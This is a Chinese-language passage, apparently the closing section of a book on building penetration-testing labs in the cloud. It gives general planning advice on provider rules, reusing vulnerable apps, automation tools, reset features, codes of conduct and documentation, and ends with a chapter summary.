识别哪些攻击或技术在云环境中是不允许的:了解哪些攻击和技术对实验室环境有害并被云服务提供商禁止是至关重要的。如在《构建云中渗透测试实验室环境时需要考虑的因素》章节中所讨论的内容,《云中渗透测试实验室入门》一书提到,云服务提供商有一些政策和指南,在进行云中运行的应用程序渗透测试之前,我们需要先进行审查。如果不遵循这些指南,你的云账户可能会被暂停甚至终止!
看到只有四个考虑因素感到惊讶吗?当然,这只是其中的一部分!除了刚才讨论的内容外,我们还需要注意以下实施考虑事项和推荐实践:
-
创建自定义漏洞应用程序与使用现有漏洞应用程序:通过设计我们自己的“设计即漏洞”应用程序,我们可以完全控制应用程序中的复杂性以及安全弱点、漏洞和配置错误的类型。然而,创建自定义应用程序的一个主要缺点是这需要额外的时间和精力,尤其是当我们需要从零开始准备这些应用程序时。另一方面,使用现有的漏洞容器或应用程序(例如
Metasploitable和OWASP WebGoat)可以在准备实验室环境时加速一些进程。 -
确定自动化实验室环境某些组件的最佳方式:有各种方法和工具可以自动化实验室资源和组件的设置与配置。与其仅仅使用 Terraform 来设置云资源,可能还需要使用像
Ansible(或其他替代工具)进行配置管理。在这里,我们可以使用不止一个工具。一些工具可以专注于基础设施提供,而其他工具则处理配置管理。通过战略性地选择和组合工具,我们可以在构建渗透测试实验室环境的不同组件时,充分利用它们的独特优势。 -
为实验室用户提供重置实验室设置中特定组件的功能:在使用渗透测试实验室环境时,扮演攻击者角色的实验室用户可能会遇到需要将特定组件或资源恢复到初始状态的情况。因此,一个用于将特定虚拟机实例和其他云资源恢复到初始状态的“重置”按钮(或其他替代解决方案)会很有用。如果你在想他们接下来会做什么...当然,他们会再次尝试攻击并入侵这些资源!
-
理解云平台差异:了解不同云平台之间的主要和次要差异至关重要,因为这将影响我们如何设计和实现渗透测试实验室环境。除此之外,我们还需要时刻关注这些云服务提供商的公告,因为他们会不断更新服务、功能、定价模型,甚至是云资源的安全默认设置。
-
执行行为规范:为实验室用户维护行为规范有助于明确期望并为其在实验室环境中进行渗透测试活动和模拟时的行为制定指导方针。本文件应概述在云账户中设置的实验室内允许和不允许的事项。你还可以设置和安装各种监控工具,以便快速识别任何潜在违规行为,并确保实验室用户遵守规范。
-
文档化设置:适当的文档可以帮助新成员快速上手,他们也将维护相同的实验室环境,并能更快地解决问题。除此之外,良好的文档化设置能在多个部署或迭代的实验室中促进一致性。这将有助于确保实验室的配置是(误)按照预期方式进行的。请注意,这不仅仅是准备包含图示和逐步说明每个实验室组件如何配置的详细文档。这还包括编写自文档化代码,按需准备自动化测试,并在使用版本控制系统(如Git)管理自动化脚本和 IaC 模板时遵循最佳实践。
这里确实还有更多内容可以添加,但这些应该足够应付当前的需求了。可以随时反复阅读这一部分(或者根据需要阅读多次!),因为这些考虑因素和实践策略将帮助你管理在云中运行渗透测试实验室时涉及的风险和挑战。
摘要
在本章中,我们深入探讨了如何增加前几章中设置的渗透测试实验室环境的复杂性和难度。此外,我们还学习了如何利用各种基于 AI 的解决方案,如 ChatGPT、GitHub Copilot、Amazon CodeWhisperer 和 Tabnine,显著加快在构建这些有设计缺陷的实验室时的相关任务。这些任务包括估算在云中运行这些实验室的成本、生成自动化脚本和 IaC 模板,以及解释其他专业人士编写的现有代码。我们在本章的结尾讨论了在云中构建渗透测试实验室时的相关建议、注意事项和策略。
你终于读完了这本书!恭喜你完成了所有章节以及实际操作的例子和解决方案。闭上眼睛,花点时间回顾一下你所学到的一切。我希望这本书能够激励你开启更多的冒险,去探索这个迷人的网络安全世界。






































































































































































































































































































浙公网安备 33010602011771号